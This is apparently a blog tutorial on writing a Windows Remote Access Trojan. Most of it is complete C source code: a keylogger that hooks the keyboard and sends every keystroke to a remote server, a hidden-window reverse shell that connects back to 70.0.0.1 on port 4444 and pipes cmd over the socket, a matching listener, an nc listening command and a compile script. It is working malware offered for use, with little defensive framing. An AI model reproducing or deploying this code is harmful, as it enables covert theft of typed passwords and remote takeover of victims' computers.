Security ramblings
Writing a RAT Remote Access Trojan
In the past we taught you how to write a keystroke logger. Now lets take the same keystroke logger and make it network aware. What we will do is run the keystroke logger on one machine and all keys pressed will be echoed on another machine, We have to have some way of running our keystroke logger on the client machine.
c.c
#define _WIN32_WINNT 0x0400
#include <windows.h>
WSADATA ws;SOCKET s; struct sockaddr_in A;long d;
MSG m;HINSTANCE h;HHOOK k;char aa[100];KBDLLHOOKSTRUCT o;int i,key;
__declspec(dllexport) int __stdcall zzz(int code,unsigned int w,long l)
{
KBDLLHOOKSTRUCT *o1;
o = *((KBDLLHOOKSTRUCT*)l);
key = o.scanCode << 16;
key += o.flags << 24;
GetKeyNameText(key,aa,100);
if ( o.flags == 0)
{
printf("%s",aa);
send( s , aa , strlen(aa) , 0);
}
return CallNextHookEx(k,code,w,l);
}
main(int argc , char *argv[])
{
WSAStartup(0x202,&ws);
s = socket(AF_INET, SOCK_STREAM, 0);
A.sin_family = AF_INET;
A.sin_port = htons(8000);
A.sin_addr.s_addr = inet_addr(argv[1]);
d = connect(s,(const struct sockaddr *)&A,sizeof(A));
if ( d == -1)
{
printf("Connection failed\n");
exit(0);
}
h = GetModuleHandle(0);
k = SetWindowsHookEx (WH_KEYBOARD_LL,zzz,h,0); //WH_KEYBOARD_LL=13
while (GetMessage(&m,0,0,0))
DispatchMessage( &m );
}
c 70.0.0.7
Simple program, we connect to the server whose ip address we specify on the command line. We then hook the keyboard hook and function zzz gets called each time we press a key. We simply send this key across to the server.
s.c
#include <windows.h>
WSADATA ws;SOCKET s,y; struct sockaddr_in A;long d;char aa[100];
main()
{
WSAStartup(0x202,&ws);
s = socket(AF_INET, SOCK_STREAM, 0);
A.sin_family = AF_INET;
A.sin_port = htons(8000);
A.sin_addr.s_addr = INADDR_ANY;
bind(s, (const struct sockaddr *)&A, sizeof(A));
listen(s , 10);
d = sizeof(A);
y = accept(s , (struct sockaddr *)&A , &d);
while ( 1)
{
d = recv(y , aa , 100 , 0);
//Sleep(10);
if ( d != -1)
{
aa[d] = 0;
printf("%s",aa);
}
}
}
The server is a convention server listening on port 8000. This is how we send out the keystroke to the server.
a.bat
del *.exe
cl s.c ws2_32.lib user32.lib
cl c.c ws2_32.lib user32.lib
A batch file to compile.
b.c
#include <windows.h>
main()
{
WinExec("notepad", 4);
system("notepad");
}
We can use the WinExec or system functions to execute a program under Windows. By writing a few simple lines of code we can now remotely execute processes.
#include <winsock2.h>
#pragma comment (lib, "ws2_32")
WSADATA ws;
SOCKET s;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in dest;
int i;
int _stdcall WinMain (HINSTANCE h, HINSTANCE i, char *j, int k)
{
WSAStartup(MAKEWORD(2,0), &ws);
s = WSASocket (AF_INET, SOCK_STREAM, NULL, NULL, NULL, NULL);
dest.sin_family = AF_INET;
dest.sin_port = htons(4444);
dest.sin_addr.s_addr = inet_addr ("70.0.0.1");
connect (s, (struct sockaddr *) &dest, sizeof(dest));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdInput = (void *) s;
si.hStdOutput = (void *) s;
si.hStdError = (void *) s;
CreateProcess (NULL, "cmd", NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi);
ExitProcess (0); // Kill the process
}
A simple example of the connectback method. We connect to an ip address on port 4444. We run cmd on our machine but take the standard input and output and error of cmd before we execute and point it to the socket. Thus the cmd now run will expect its input and output to come and go from the socket and not the keyboard and screen. The server program which was nc run as nc –l –p 4444 is now
#include <windows.h>
#include <malloc.h>
struct timeval t;
char aa[8192];
SOCKET s,y;
WSADATA ws;
fd_set *d;
struct sockaddr_in A;
int x,rr;
main ()
{
d = (fd_set *) malloc (sizeof(fd_set));
WSAStartup(0x202,&ws);
s = socket(AF_INET, SOCK_STREAM , 0);
A.sin_family = AF_INET;
A.sin_port = htons(4444);
A.sin_addr.s_addr = INADDR_ANY;
bind(s , &A , sizeof(A));
listen (s, 1);
x=sizeof(A);
y= accept (s, &A, &x);
t.tv_sec = 0;
while (1)
{
FD_SET (y, d);
//printf("Before select\n");
rr = select (16, d, 0, 0, &t);
if ( rr == 1) // FD_ISSET (fd, d)
{
//printf("In FD_ISSET rr=%d\n",rr);
rr = recv (y, aa, 8192, 0);
if (rr == -1)
exit(0);
else
{
write (1, aa, rr);
}
}
if (kbhit())
{
//printf("kbhit\n");
gets(aa);
strcat(aa, "\n");
send (y, aa, strlen(aa), 0);
}
}
}
To start with it is a simple server running on port 4444 waiting at an expect. FD_SET is a macro that takes the socket returned form expect and a pointer to a fd_set structure. As the name suggests it simply sets the bit for the file descriptor or socket fd in the fd_set array which is the set of file descriptors. We use these descriptors in the select function call. The second parameter is the file descriptors for reading, then writing and then exception. The last is a structure for timeouts. We are only checking when data arrives for reading. It returns the number of descriptors ready for reading in our case. Thus a value of zero means timeout occurred, 1 means some data to be read on the socket. The first parameter can take any values and is there for compatibility for berkley sockets. The minute rr returns 1, we know that some data is waiting for us to be read. We use the receive function to read the data in the array aa. If recv returns –1 then we know that the connection is closed and we quit out of the program. Otherwise we use the file function write to write to standard output which is file handle 1.
Anytime we press a key, the kbhit function returns true. This means that the user has types something, we store it in an array aa using the gets function. We add a enter and send it to the remote machine. That guy then send us the output which will activate the select.
The only problem with what we have done is that the select statement does not block. This is because we have set the member t.tv_sec to 0. If we set it to say 10 seconds, then they will be a delay in data coming but we use up less machine resources. Threads work better with select.